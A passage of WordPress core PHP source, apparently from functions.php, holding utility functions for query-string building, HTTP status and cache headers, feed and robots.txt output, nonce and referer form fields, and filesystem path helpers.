'post', $mid ); } } } foreach ( (array) $post_links_temp as $link_test ) { // If we haven't pung it already. if ( ! in_array( $link_test, $pung, true ) ) { $test = parse_url( $link_test ); if ( false === $test ) { continue; } if ( isset( $test['query'] ) ) { $post_links[] = $link_test; } elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) { $post_links[] = $link_test; } } } /** * Filters the list of enclosure links before querying the database. * * Allows for the addition and/or removal of potential enclosures to save * to postmeta before checking the database for existing enclosures. * * @since 4.4.0 * * @param string[] $post_links An array of enclosure links. * @param int $post_ID Post ID. */ $post_links = apply_filters( 'enclosure_links', $post_links, $post->ID ); foreach ( (array) $post_links as $url ) { $url = strip_fragment_from_url( $url ); if ( '' !== $url && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $url ) . '%' ) ) ) { $headers = wp_get_http_headers( $url ); if ( $headers ) { $len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0; $type = isset( $headers['content-type'] ) ? $headers['content-type'] : ''; $allowed_types = array( 'video', 'audio' ); // Check to see if we can figure out the mime type from the extension. $url_parts = parse_url( $url ); if ( false !== $url_parts && ! empty( $url_parts['path'] ) ) { $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION ); if ( ! empty( $extension ) ) { foreach ( wp_get_mime_types() as $exts => $mime ) { if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) { $type = $mime; break; } } } } if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types, true ) ) { add_post_meta( $post->ID, 'enclosure', "$url\n$len\n$mime\n" ); } } } } } /** * Retrieve HTTP Headers from URL. * * @since 1.5.1 * * @param string $url URL to retrieve HTTP headers from. * @param bool $deprecated Not Used. * @return string|false Headers on success, false on failure. */ function wp_get_http_headers( $url, $deprecated = false ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.7.0' ); } $response = wp_safe_remote_head( $url ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_headers( $response ); } /** * Determines whether the publish date of the current post in the loop is different * from the publish date of the previous post in the loop. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 0.71 * * @global string $currentday The day of the current post in the loop. * @global string $previousday The day of the previous post in the loop. * * @return int 1 when new day, 0 if not a new day. */ function is_new_day() { global $currentday, $previousday; if ( $currentday !== $previousday ) { return 1; } else { return 0; } } /** * Build URL query based on an associative and, or indexed array. * * This is a convenient function for easily building url queries. It sets the * separator to '&' and uses _http_build_query() function. * * @since 2.3.0 * * @see _http_build_query() Used to build the query * @link https://www.php.net/manual/en/function.http-build-query.php for more on what * http_build_query() does. * * @param array $data URL-encode key/value pairs. * @return string URL-encoded string. */ function build_query( $data ) { return _http_build_query( $data, null, '&', '', false ); } /** * From php.net (modified by Mark Jaquith to behave like the native PHP5 function). * * @since 3.2.0 * @access private * * @see https://www.php.net/manual/en/function.http-build-query.php * * @param array|object $data An array or object of data. Converted to array. * @param string $prefix Optional. Numeric index. If set, start parameter numbering with it. * Default null. * @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'. * Default null. * @param string $key Optional. Used to prefix key name. Default empty. * @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true. * @return string The query string. */ function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) { $ret = array(); foreach ( (array) $data as $k => $v ) { if ( $urlencode ) { $k = urlencode( $k ); } if ( is_int( $k ) && null != $prefix ) { $k = $prefix . $k; } if ( ! empty( $key ) ) { $k = $key . '%5B' . $k . '%5D'; } if ( null === $v ) { continue; } elseif ( false === $v ) { $v = '0'; } if ( is_array( $v ) || is_object( $v ) ) { array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) ); } elseif ( $urlencode ) { array_push( $ret, $k . '=' . urlencode( $v ) ); } else { array_push( $ret, $k . '=' . $v ); } } if ( null === $sep ) { $sep = ini_get( 'arg_separator.output' ); } return implode( $sep, $ret ); } /** * Retrieves a modified URL query string. * * You can rebuild the URL and append query variables to the URL query by using this function. * There are two ways to use this function; either a single key and value, or an associative array. * * Using a single key and value: * * add_query_arg( 'key', 'value', 'http://example.com' ); * * Using an associative array: * * add_query_arg( array( * 'key1' => 'value1', * 'key2' => 'value2', * ), 'http://example.com' ); * * Omitting the URL from either use results in the current URL being used * (the value of `$_SERVER['REQUEST_URI']`). * * Values are expected to be encoded appropriately with urlencode() or rawurlencode(). * * Setting any query variable's value to boolean false removes the key (see remove_query_arg()). * * Important: The return value of add_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * @since 5.3.0 Formalized the existing and already documented parameters * by adding `...$args` to the function signature. * * @param string|array $key Either a query variable key, or an associative array of query variables. * @param string $value Optional. Either a query variable value, or a URL to act upon. * @param string $url Optional. A URL to act upon. * @return string New URL query string (unescaped). */ function add_query_arg( ...$args ) { if ( is_array( $args[0] ) ) { if ( count( $args ) < 2 || false === $args[1] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[1]; } } else { if ( count( $args ) < 3 || false === $args[2] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[2]; } } $frag = strstr( $uri, '#' ); if ( $frag ) { $uri = substr( $uri, 0, -strlen( $frag ) ); } else { $frag = ''; } if ( 0 === stripos( $uri, 'http://' ) ) { $protocol = 'http://'; $uri = substr( $uri, 7 ); } elseif ( 0 === stripos( $uri, 'https://' ) ) { $protocol = 'https://'; $uri = substr( $uri, 8 ); } else { $protocol = ''; } if ( strpos( $uri, '?' ) !== false ) { list( $base, $query ) = explode( '?', $uri, 2 ); $base .= '?'; } elseif ( $protocol || strpos( $uri, '=' ) === false ) { $base = $uri . '?'; $query = ''; } else { $base = ''; $query = $uri; } wp_parse_str( $query, $qs ); $qs = urlencode_deep( $qs ); // This re-URL-encodes things that were already in the query string. if ( is_array( $args[0] ) ) { foreach ( $args[0] as $k => $v ) { $qs[ $k ] = $v; } } else { $qs[ $args[0] ] = $args[1]; } foreach ( $qs as $k => $v ) { if ( false === $v ) { unset( $qs[ $k ] ); } } $ret = build_query( $qs ); $ret = trim( $ret, '?' ); $ret = preg_replace( '#=(&|$)#', '$1', $ret ); $ret = $protocol . $base . $ret . $frag; $ret = rtrim( $ret, '?' ); $ret = str_replace( '?#', '#', $ret ); return $ret; } /** * Removes an item or items from a query string. * * @since 1.5.0 * * @param string|string[] $key Query key or keys to remove. * @param false|string $query Optional. When false uses the current URL. Default false. * @return string New URL query string. */ function remove_query_arg( $key, $query = false ) { if ( is_array( $key ) ) { // Removing multiple keys. foreach ( $key as $k ) { $query = add_query_arg( $k, false, $query ); } return $query; } return add_query_arg( $key, false, $query ); } /** * Returns an array of single-use query variable names that can be removed from a URL. * * @since 4.4.0 * * @return string[] An array of query variable names to remove from the URL. */ function wp_removable_query_args() { $removable_query_args = array( 'activate', 'activated', 'admin_email_remind_later', 'approved', 'core-major-auto-updates-saved', 'deactivate', 'delete_count', 'deleted', 'disabled', 'doing_wp_cron', 'enabled', 'error', 'hotkeys_highlight_first', 'hotkeys_highlight_last', 'ids', 'locked', 'message', 'same', 'saved', 'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', 'untrashed', 'update', 'updated', 'wp-post-new-reload', ); /** * Filters the list of query variable names to remove. * * @since 4.2.0 * * @param string[] $removable_query_args An array of query variable names to remove from a URL. */ return apply_filters( 'removable_query_args', $removable_query_args ); } /** * Walks the array while sanitizing the contents. * * @since 0.71 * @since 5.5.0 Non-string values are left untouched. * * @param array $array Array to walk while sanitizing contents. * @return array Sanitized $array. */ function add_magic_quotes( $array ) { foreach ( (array) $array as $k => $v ) { if ( is_array( $v ) ) { $array[ $k ] = add_magic_quotes( $v ); } elseif ( is_string( $v ) ) { $array[ $k ] = addslashes( $v ); } else { continue; } } return $array; } /** * HTTP request for URI to retrieve content. * * @since 1.5.1 * * @see wp_safe_remote_get() * * @param string $uri URI/URL of web page to retrieve. * @return string|false HTTP content. False on failure. */ function wp_remote_fopen( $uri ) { $parsed_url = parse_url( $uri ); if ( ! $parsed_url || ! is_array( $parsed_url ) ) { return false; } $options = array(); $options['timeout'] = 10; $response = wp_safe_remote_get( $uri, $options ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_body( $response ); } /** * Set up the WordPress query. * * @since 2.0.0 * * @global WP $wp Current WordPress environment instance. * @global WP_Query $wp_query WordPress Query object. * @global WP_Query $wp_the_query Copy of the WordPress Query object. * * @param string|array $query_vars Default WP_Query arguments. */ function wp( $query_vars = '' ) { global $wp, $wp_query, $wp_the_query; $wp->main( $query_vars ); if ( ! isset( $wp_the_query ) ) { $wp_the_query = $wp_query; } } /** * Retrieve the description for the HTTP status. * * @since 2.3.0 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511. * @since 4.5.0 Added status codes 308, 421, and 451. * @since 5.1.0 Added status code 103. * * @global array $wp_header_to_desc * * @param int $code HTTP status code. * @return string Status description if found, an empty string otherwise. */ function get_status_header_desc( $code ) { global $wp_header_to_desc; $code = absint( $code ); if ( ! isset( $wp_header_to_desc ) ) { $wp_header_to_desc = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 103 => 'Early Hints', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', 226 => 'IM Used', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 421 => 'Misdirected Request', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 510 => 'Not Extended', 511 => 'Network Authentication Required', ); } if ( isset( $wp_header_to_desc[ $code ] ) ) { return $wp_header_to_desc[ $code ]; } else { return ''; } } /** * Set HTTP status header. * * @since 2.0.0 * @since 4.4.0 Added the `$description` parameter. * * @see get_status_header_desc() * * @param int $code HTTP status code. * @param string $description Optional. A custom description for the HTTP status. */ function status_header( $code, $description = '' ) { if ( ! $description ) { $description = get_status_header_desc( $code ); } if ( empty( $description ) ) { return; } $protocol = wp_get_server_protocol(); $status_header = "$protocol $code $description"; if ( function_exists( 'apply_filters' ) ) { /** * Filters an HTTP status header. * * @since 2.2.0 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. */ $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol ); } if ( ! headers_sent() ) { header( $status_header, true, $code ); } } /** * Get the header information to prevent caching. * * The several different headers cover the different ways cache prevention * is handled by different browsers * * @since 2.8.0 * * @return array The associative array of header names and field values. */ function wp_get_nocache_headers() { $headers = array( 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT', 'Cache-Control' => 'no-cache, must-revalidate, max-age=0', ); if ( function_exists( 'apply_filters' ) ) { /** * Filters the cache-controlling headers. * * @since 2.8.0 * * @see wp_get_nocache_headers() * * @param array $headers { * Header names and field values. * * @type string $Expires Expires header. * @type string $Cache-Control Cache-Control header. * } */ $headers = (array) apply_filters( 'nocache_headers', $headers ); } $headers['Last-Modified'] = false; return $headers; } /** * Set the headers to prevent caching for the different browsers. * * Different browsers support different nocache headers, so several * headers must be sent so that all of them get the point that no * caching should occur. * * @since 2.0.0 * * @see wp_get_nocache_headers() */ function nocache_headers() { if ( headers_sent() ) { return; } $headers = wp_get_nocache_headers(); unset( $headers['Last-Modified'] ); header_remove( 'Last-Modified' ); foreach ( $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } /** * Set the headers for caching for 10 days with JavaScript content type. * * @since 2.1.0 */ function cache_javascript_headers() { $expiresOffset = 10 * DAY_IN_SECONDS; header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) ); header( 'Vary: Accept-Encoding' ); // Handle proxies. header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expiresOffset ) . ' GMT' ); } /** * Retrieve the number of database queries during the WordPress execution. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int Number of database queries. */ function get_num_queries() { global $wpdb; return $wpdb->num_queries; } /** * Whether input is yes or no. * * Must be 'y' to be true. * * @since 1.0.0 * * @param string $yn Character string containing either 'y' (yes) or 'n' (no). * @return bool True if 'y', false on anything else. */ function bool_from_yn( $yn ) { return ( 'y' === strtolower( $yn ) ); } /** * Load the feed template from the use of an action hook. * * If the feed action does not have a hook, then the function will die with a * message telling the visitor that the feed is not valid. * * It is better to only have one hook for each feed. * * @since 2.1.0 * * @global WP_Query $wp_query WordPress Query object. */ function do_feed() { global $wp_query; $feed = get_query_var( 'feed' ); // Remove the pad, if present. $feed = preg_replace( '/^_+/', '', $feed ); if ( '' === $feed || 'feed' === $feed ) { $feed = get_default_feed(); } if ( ! has_action( "do_feed_{$feed}" ) ) { wp_die( __( '<strong>Error</strong>: This is not a valid feed template.' ), '', array( 'response' => 404 ) ); } /** * Fires once the given feed is loaded. * * The dynamic portion of the hook name, `$feed`, refers to the feed template name. * * Possible hook names include: * * - `do_feed_atom` * - `do_feed_rdf` * - `do_feed_rss` * - `do_feed_rss2` * * @since 2.1.0 * @since 4.4.0 The `$feed` parameter was added. * * @param bool $is_comment_feed Whether the feed is a comment feed. * @param string $feed The feed name. */ do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed ); } /** * Load the RDF RSS 0.91 Feed template. * * @since 2.1.0 * * @see load_template() */ function do_feed_rdf() { load_template( ABSPATH . WPINC . '/feed-rdf.php' ); } /** * Load the RSS 1.0 Feed Template. * * @since 2.1.0 * * @see load_template() */ function do_feed_rss() { load_template( ABSPATH . WPINC . '/feed-rss.php' ); } /** * Load either the RSS2 comment feed or the RSS2 posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_rss2( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-rss2.php' ); } } /** * Load either Atom comment feed or Atom posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_atom( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-atom-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-atom.php' ); } } /** * Displays the default robots.txt file content. * * @since 2.1.0 * @since 5.3.0 Remove the "Disallow: /" output if search engine visiblity is * discouraged in favor of robots meta HTML tag via wp_robots_no_robots() * filter callback. */ function do_robots() { header( 'Content-Type: text/plain; charset=utf-8' ); /** * Fires when displaying the robots.txt file. * * @since 2.1.0 */ do_action( 'do_robotstxt' ); $output = "User-agent: *\n"; $public = get_option( 'blog_public' ); $site_url = parse_url( site_url() ); $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : ''; $output .= "Disallow: $path/wp-admin/\n"; $output .= "Allow: $path/wp-admin/admin-ajax.php\n"; /** * Filters the robots.txt output. * * @since 3.0.0 * * @param string $output The robots.txt output. * @param bool $public Whether the site is considered "public". */ echo apply_filters( 'robots_txt', $output, $public ); } /** * Display the favicon.ico file content. * * @since 5.4.0 */ function do_favicon() { /** * Fires when serving the favicon.ico file. * * @since 5.4.0 */ do_action( 'do_faviconico' ); wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) ); exit; } /** * Determines whether WordPress is already installed. * * The cache will be checked first. If you have a cache plugin, which saves * the cache values, then this will work. If you use the default WordPress * cache, and the database goes away, then you might have problems. * * Checks for the 'siteurl' option for whether WordPress is installed. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether the site is already installed. */ function is_blog_installed() { global $wpdb; /* * Check cache first. If options table goes away and we have true * cached, oh well. */ if ( wp_cache_get( 'is_blog_installed' ) ) { return true; } $suppress = $wpdb->suppress_errors(); if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); } // If siteurl is not set to autoload, check it specifically. if ( ! isset( $alloptions['siteurl'] ) ) { $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); } else { $installed = $alloptions['siteurl']; } $wpdb->suppress_errors( $suppress ); $installed = ! empty( $installed ); wp_cache_set( 'is_blog_installed', $installed ); if ( $installed ) { return true; } // If visiting repair.php, return true and let it take over. if ( defined( 'WP_REPAIRING' ) ) { return true; } $suppress = $wpdb->suppress_errors(); /* * Loop over the WP tables. If none exist, then scratch installation is allowed. * If one or more exist, suggest table repair since we got here because the * options table could not be accessed. */ $wp_tables = $wpdb->tables(); foreach ( $wp_tables as $table ) { // The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation. if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table ) { continue; } if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table ) { continue; } $described_table = $wpdb->get_results( "DESCRIBE $table;" ); if ( ( ! $described_table && empty( $wpdb->last_error ) ) || ( is_array( $described_table ) && 0 === count( $described_table ) ) ) { continue; } // One or more tables exist. This is not good. wp_load_translations_early(); // Die with a DB error. $wpdb->error = sprintf( /* translators: %s: Database repair URL. */ __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' ); dead_db(); } $wpdb->suppress_errors( $suppress ); wp_cache_set( 'is_blog_installed', false ); return false; } /** * Retrieve URL with nonce added to URL query. * * @since 2.0.4 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @return string Escaped URL with nonce action added. */ function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) { $actionurl = str_replace( '&', '&', $actionurl ); return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) ); } /** * Retrieve or display nonce hidden field for forms. * * The nonce field is used to validate that the contents of the form came from * the location on the current site and not somewhere else. The nonce does not * offer absolute protection, but should protect against most cases. It is very * important to use nonce field in forms. * * The $action and $name are optional, but if you want to have better security, * it is strongly suggested to set those two parameters. It is easier to just * call the function without any parameters, because validation of the nonce * doesn't require any parameters, but since crackers know what the default is * it won't be difficult for them to find a way around your nonce and cause * damage. * * The input name will be whatever $name value you gave. The input value will be * the nonce creation value. * * @since 2.0.4 * * @param int|string $action Optional. Action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @param bool $referer Optional. Whether to set the referer field for validation. Default true. * @param bool $echo Optional. Whether to display or return hidden form field. Default true. * @return string Nonce field HTML markup. */ function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $echo = true ) { $name = esc_attr( $name ); $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />'; if ( $referer ) { $nonce_field .= wp_referer_field( false ); } if ( $echo ) { echo $nonce_field; } return $nonce_field; } /** * Retrieve or display referer hidden field for forms. * * The referer link is the current Request URI from the server super global. The * input name is '_wp_http_referer', in case you wanted to check manually. * * @since 2.0.4 * * @param bool $echo Optional. Whether to echo or return the referer field. Default true. * @return string Referer field HTML markup. */ function wp_referer_field( $echo = true ) { $referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />'; if ( $echo ) { echo $referer_field; } return $referer_field; } /** * Retrieve or display original referer hidden field for forms. * * The input name is '_wp_original_http_referer' and will be either the same * value of wp_referer_field(), if that was posted already or it will be the * current page, if it doesn't exist. * * @since 2.0.4 * * @param bool $echo Optional. Whether to echo the original http referer. Default true. * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to. * Default 'current'. * @return string Original referer field. */ function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) { $ref = wp_get_original_referer(); if ( ! $ref ) { $ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] ); } $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />'; if ( $echo ) { echo $orig_referer_field; } return $orig_referer_field; } /** * Retrieve referer from '_wp_http_referer' or HTTP referer. * * If it's the same as the current request URL, will return false. * * @since 2.0.4 * * @return string|false Referer URL on success, false on failure. */ function wp_get_referer() { if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } $ref = wp_get_raw_referer(); if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref ) { return wp_validate_redirect( $ref, false ); } return false; } /** * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer. * * Do not use for redirects, use wp_get_referer() instead. * * @since 4.5.0 * * @return string|false Referer URL on success, false on failure. */ function wp_get_raw_referer() { if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } return false; } /** * Retrieve original referer that was posted, if it exists. * * @since 2.0.4 * * @return string|false Original referer URL on success, false on failure. */ function wp_get_original_referer() { if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) ) { return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false ); } return false; } /** * Recursive directory creation based on full path. * * Will attempt to set permissions on folders. * * @since 2.0.1 * * @param string $target Full path to attempt to create. * @return bool Whether the path was created. True if path already exists. */ function wp_mkdir_p( $target ) { $wrapper = null; // Strip the protocol. if ( wp_is_stream( $target ) ) { list( $wrapper, $target ) = explode( '://', $target, 2 ); } // From php.net/mkdir user contributed notes. $target = str_replace( '//', '/', $target ); // Put the wrapper back on the target. if ( null !== $wrapper ) { $target = $wrapper . '://' . $target; } /* * Safe mode fails with a trailing slash under certain PHP versions. * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency. */ $target = rtrim( $target, '/' ); if ( empty( $target ) ) { $target = '/'; } if ( file_exists( $target ) ) { return @is_dir( $target ); } // Do not allow path traversals. if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) { return false; } // We need to find the permissions of the parent folder that exists and inherit that. $target_parent = dirname( $target ); while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) { $target_parent = dirname( $target_parent ); } // Get the permission bits. $stat = @stat( $target_parent ); if ( $stat ) { $dir_perms = $stat['mode'] & 0007777; } else { $dir_perms = 0777; } if ( @mkdir( $target, $dir_perms, true ) ) { /* * If a umask is set that modifies $dir_perms, we'll have to re-set * the $dir_perms correctly with chmod() */ if ( ( $dir_perms & ~umask() ) != $dir_perms ) { $folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) ); for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) { chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms ); } } return true; } return false; } /** * Test if a given filesystem path is absolute. * * For example, '/foo/bar', or 'c:\windows'. * * @since 2.5.0 * * @param string $path File path. * @return bool True if path is absolute, false is not absolute. */ function path_is_absolute( $path ) { /* * Check to see if the path is a stream and check to see if its an actual * path or file as realpath() does not support stream wrappers. */ if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) { return true; } /* * This is definitive if true but fails if $path does not exist or contains * a symbolic link. */ if ( realpath( $path ) == $path ) { return true; } if ( strlen( $path ) == 0 || '.' === $path[0] ) { return false; } // Windows allows absolute paths like this. if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) { return true; } // A path starting with / or \ is absolute; anything else is relative. return ( '/' === $path[0] || '\\' === $path[0] ); } /** * Join two filesystem paths together. * * For example, 'give me $path relative to $base'. If the $path is absolute, * then it the full path is returned. * * @since 2.5.0 * * @param string $base Base path. * @param string $path Path relative to $base. * @return string The path with the base or absolute path. */ function path_join( $base, $path ) { if ( path_is_absolute( $path ) ) { return $path; } return rtrim( $base, '/' ) . '/' . ltrim( $path, '/' ); } /** * Normalize a filesystem path. * * On windows systems, replaces backslashes with forward slashes * and forces upper-case drive letters. * Allows for two leading slashes for Windows network shares, but * ensures that all other duplicate slashes are reduced to a single. * * @since 3.9.0 * @since 4.4.0 Ensures upper-case drive letters on Windows systems. * @since 4.5.0 Allows for Windows network shares. * @since 4.9.7 Allows for PHP file wrappers. * * @param string $path Path to normalize. * @return string Normalized path. */ function wp_normalize_path( $path ) { $wrapper = ''; if ( wp_is_stream( $path ) ) { list( $wrapper, $path ) = explode( '://', $path, 2 ); $wrapper .= '://'; } // Standardize all paths to use '/'. $path = str_replace( '\\', '/', $path ); // Replace multiple slashes down to a singular, allowing for network shares having two slashes. $path = preg_replace( '|(?<=.)/+|', '/', $path ); // Windows paths should uppercase the drive letter. if ( ':' === substr( $path, 1, 1 ) ) { $path = ucfirst( $path ); } return $wrapper . $path; } /** * Determine a writable directory for temporary files. * * Function's preference is the return value of sys_get_temp_dir(), * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR, * before finally defaulting to /tmp/ * * In the event that this function does not find a writable location, * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file. * * @since 2.5.0 * * @return string Writable temporary directory. */ function get_temp_dir() { static $temp = ''; if ( defined( 'WP_TEMP_DIR' ) ) { return trailingslashit( WP_TEMP_DIR ); } if ( $temp ) { return trailingslashit( $temp ); } if ( function_exists( 'sys_get_temp_dir' ) ) { $temp = sys_get_temp_dir(); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } } $temp = ini_get( 'upload_tmp_dir' ); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } $temp = WP_CONTENT_DIR . '/'; if ( is_dir( $temp ) && wp_is_writable( $temp ) ) { return $temp; } return '/tmp/'; } /** * Determine if a directory is writable. * * This function is used to work around certain ACL issues in PHP primarily * affecting Windows Servers. * * @since 3.6.0 * * @see win_is_writable() * * @param string $path Path to check for write-ability. * @return bool Whether the path is writable. */ function wp_is_writable( $path ) { if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ) { return win_is_writable( $path ); } else { return @is_writable( $path ); } } /** * Workaround for Windows bug in is_writable() function * * PHP has issues with Windows ACL's for determine if a * directory is writable or not, this works around them by * checking the ability to open files rather than relying * upon PHP to interprate the OS ACL. * * @since 2.8.0 * * @see https://bugs.php.net/bug.php?id=27609 * @see https://bugs.php.net/bug.php?id=30931 * * @param string $path Windows path to check for write-ability. * @return bool Whether the path is writable. */ function win_is_writable( $path ) { if ( '/' === $path[ strlen( $path ) - 1 ] ) { // If it looks like a directory, check a random file within the directory. return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' ); } elseif ( is_dir( $path ) ) { // If it's a directory (and not a file), check a random file within the directory. return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' ); } // Check tmp file for read/write capabilities. $should_delete_tmp_file = ! file_exists( $path ); $f = @fopen( $path, 'a' ); if ( false === $f ) { return false; } fclose( $f ); if ( $should_delete_tmp_file ) { unlink( $path ); } return true; } /** * Retrieves uploads directory information. * * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 4.5.0 * * @see wp_upload_dir() * * @return array See wp_upload_dir() for description. */ function wp_get_upload_dir() { return wp_upload_dir( null, false ); } /** * Returns an array containing the current upload directory's path and URL. * * Checks the 'upload_path' option, which should be from the web root folder, * and if it isn't empty it will be used. If it is empty, then the path will be * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path. * * The upload URL path is set either by the 'upload_url_path' option or by using * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path. * * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in * the administration settings panel), then the time will be used. The format * will be year first and then month. * * If the path couldn't be created, then an error will be returned with the key * 'error' containing the error message. The error suggests that the parent * directory is not writable by the server. * * @since 2.0.0 * @uses _wp_upload_dir() * * @param string $time Optional. Time formatted in 